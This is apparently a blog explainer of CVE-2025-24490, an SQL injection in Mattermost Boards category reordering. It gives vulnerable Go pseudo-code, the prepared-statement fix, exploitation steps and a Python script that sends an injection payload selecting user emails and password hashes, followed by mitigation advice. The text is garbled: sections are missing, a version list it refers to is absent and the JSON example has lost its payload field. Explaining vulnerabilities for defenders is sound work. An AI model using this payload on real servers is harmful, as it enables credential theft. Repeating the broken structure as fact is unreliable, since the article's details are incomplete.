CVE-2025-24490 - Critical SQL Injection in Mattermost Boards Reordering – Exploit Explained

Mattermost is a widely-used collaboration platform for team messaging, task tracking, and project management. As teams rely more on these tools, keeping them safe from hackers is crucial. Recently, a major vulnerability was discovered: CVE-2025-24490. This bug affects several Mattermost versions, letting attackers use a specially crafted board reorder request to access sensitive data through an SQL injection attack.

In this article, we’ll walk through what CVE-2025-24490 is, which versions are affected, how the vulnerability works (with code example), exploitation details, and how to protect your Mattermost installation. This is an exclusive, easy-to-understand breakdown for sysadmins, security folks, and developers.

[Conclusion](#conclusion)

1. What Is CVE-2025-24490?

CVE-2025-24490 is a SQL injection vulnerability impacting Mattermost’s board feature. The bug comes from not using *prepared statements* in a SQL query when users reorder board categories. If an attacker crafts a special request, they can inject SQL code and steal database data.

In simple terms: moving a board with a malicious name or category can break into the database.

If you haven’t updated beyond these, update now.

3. Original References

- Mattermost Security Updates (Official)
- NVD entry for CVE-2025-24490 *(coming soon)*
- Mattermost GitHub Repository

4. Technical Details and Vulnerable Code

Most SQL injections happen when user input goes right into a database query without filtering. Prepared statements ensure inputs are safe, but Mattermost failed to use them when updating the order of board categories.

A simplified pseudo-version of the vulnerable code

// boards_service.go

func ReorderBoardCategories(boardID string, categoryOrder string) error {
    // BAD: Using input directly in the query string
    query := "UPDATE BoardCategories SET order = '" + categoryOrder +
             "' WHERE board_id = '" + boardID + "'"
    _, err := db.Exec(query)
    return err
}

Here, both categoryOrder and boardID come from the user's API request.

- If an attacker sends something odd for categoryOrder, it becomes valid SQL and can “escape” into the query.

Correct way (using prepared statement)

// SAFE: Use ? for placeholders, pass args separately
query := "UPDATE BoardCategories SET order = ? WHERE board_id = ?"
_, err := db.Exec(query, categoryOrder, boardID)

Log in: The attacker logs into Mattermost (regular user privileges needed).

2. Create/Find a board: They find a board where they can reorder categories.
3. Craft request: They send a reorder request to the API, using SQL in place of categoryOrder, e.g.:

`json

{

"boardID": "some-board-id"

}

`

4. Result: The server runs the SQL as the database user! Output (like user email/password hashes) may leak in error messages, logs, or in API responses.

Here’s simple Python code using requests to send a malicious reorder

import requests

url = "https://mattermost.example.com/api/boards/board_categories/reorder";
headers = {
    "Authorization": "Bearer YOUR_API_TOKEN",
    "Content-Type": "application/json"
}

payload = {
    "categoryOrder": "'; SELECT email,password FROM Users; --",
    "boardID": "TARGET_BOARD_ID"
}

response = requests.post(url, json=payload, headers=headers)
print("Status:", response.status_code)
print("Response:", response.text)

*Replace* YOUR_API_TOKEN and TARGET_BOARD_ID with your info.

Warning: Don’t attack systems you don’t own – this is for defense and testing only.

7. How to Fix or Mitigate

- Patch: Upgrade your Mattermost to the latest secure version (see official downloads).

Temporary: (Not recommended) Restrict board access for untrusted users.

- WAF/IDS: Use a web application firewall to block suspicious requests (search for SQL injection attempts).
- Postmortem: If you were running a vulnerable version, check logs for odd API requests and consider resetting user passwords.

Conclusion

CVE-2025-24490 is a classic and dangerous SQL injection — a tiny mistake with huge impact. Mattermost server admins must update ASAP to prevent data theft. Always use prepared statements when handling input for database queries!

References

- Mattermost Security Center
- SQL Injection Explained (OWASP)


*Need a quick way to check your Mattermost version? Go to “Help > About Mattermost” in your web interface.*

If you found this post helpful, share it with your team or security friends so we can all keep Mattermost a safe space.

Timeline

Published on: 02/24/2025 08:15:10 UTC